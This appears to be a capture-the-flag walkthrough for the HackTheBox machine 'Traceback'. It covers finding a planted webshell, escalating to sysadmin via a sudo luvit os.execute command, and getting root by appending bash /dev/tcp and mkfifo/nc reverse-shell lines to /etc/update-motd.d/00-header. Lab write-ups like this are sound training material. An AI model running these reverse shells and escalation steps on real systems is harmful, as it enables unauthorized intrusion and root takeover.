Traceback Machine Walkthrough

Traceback Hackthebox Machine Detailed Walkthrough

“Aim for the sky, but move slowly, enjoying every step along the way. It is all those little steps that make the journey complete.” - Chanda Kochhar

Machine Matrix

Machine Summary

Box is a linux machine that has a webserver running which is backdoored with a webshell. Upon getting the shell with webadmin access, privilege escalation to sysadmin can be done with misconfigured permissions of executing luvit i.e luvit can be executed as sysadmin without the password. On a successfull login onto the ssh, /etc/update-motd.d/ gets executed with root privilege, rewritting a file in it with reverse shell would grant us the root privilege.

Nmap Scan

I started the enumeration with nmap scan

nmap -sC -sV

The box had two ports open | Port | Service | |:————-|:——————| | 22 | SSH | | 80 | Apache |

Enumeration on port 80

I started to enumerate on the webserver, it said “This site has been owned I have left a backdoor for all the net. FREE INTERNETZZZ -Xh4H- “

Viewing the source of the page gave me a hint about the web shells, so i went on to search about Xh4H related to webshells on google

Acquiring Initial Foothold (Webadmin)

I found the web-shells repository of Xh4H, i tried putting all the web-shells in the repository on the url (

At last, found that smevk.php is the web-shell that has been backdoored on the machine.

The webshell has username and password as “admin” that i found on viewing the source of the webshell smevk.php

To grant me the full fleged shell, i decided to upload a bash script that could grant me a proper shell

bash -i >& /dev/tcp/{IP}/{PORT} 0>&1

Acquiring User Shell (Sysadmin)

I have the shell as webadmin, now i need to enumerate and esaclate my privileges to a user. Upon enumeration, i found that no password is required to execute /home sysadmin/luvit using the command

sudo -l

Upon googling some time, i made a command that can grant me a shell as sysadmin

sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("/bin/sh")'

I got the user, moving on to the getting the root

Now i started to enumerate on the privileges of sysadmin that can be the way for root privilege escalation. Manual enumeration didnt work it out for me, so i ran linpeas but that also didnt work out. So i decided to monitor the processes that are running using pspy. I added my ssh public key in the on sysadmin/.ssh authorized_keys and transfered the pspy64 to the machine.

Acquiring Root Shell

I found that /etc/update-motd.d/ gets modified and executed each time when a user logs in through ssh

I also confirmed that /etc/update-motd.d/ has files that are writable by the user sysadmin

find /etc -writable

I enumerated on the directory it had 4 files


I decided to have a bash script on /etc/update-motd.d/00-header so i added rev-shell using the command

echo "bash -c 'bash -i >& /dev/tcp/{IP}/{PORT} 0>&1'" >> /etc/update-motd.d/00-header 

Now i logged on to ssh in a new tab with a listener on other tab hopping to get reverse connection but that didnt worked out. Upon researching i found that the modification that we made to the file isn’t properly getting safed.

echo "rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 9090 > /tmp/m" >> /etc/update-motd.d/00-header

I got the reverse shell with root privileges

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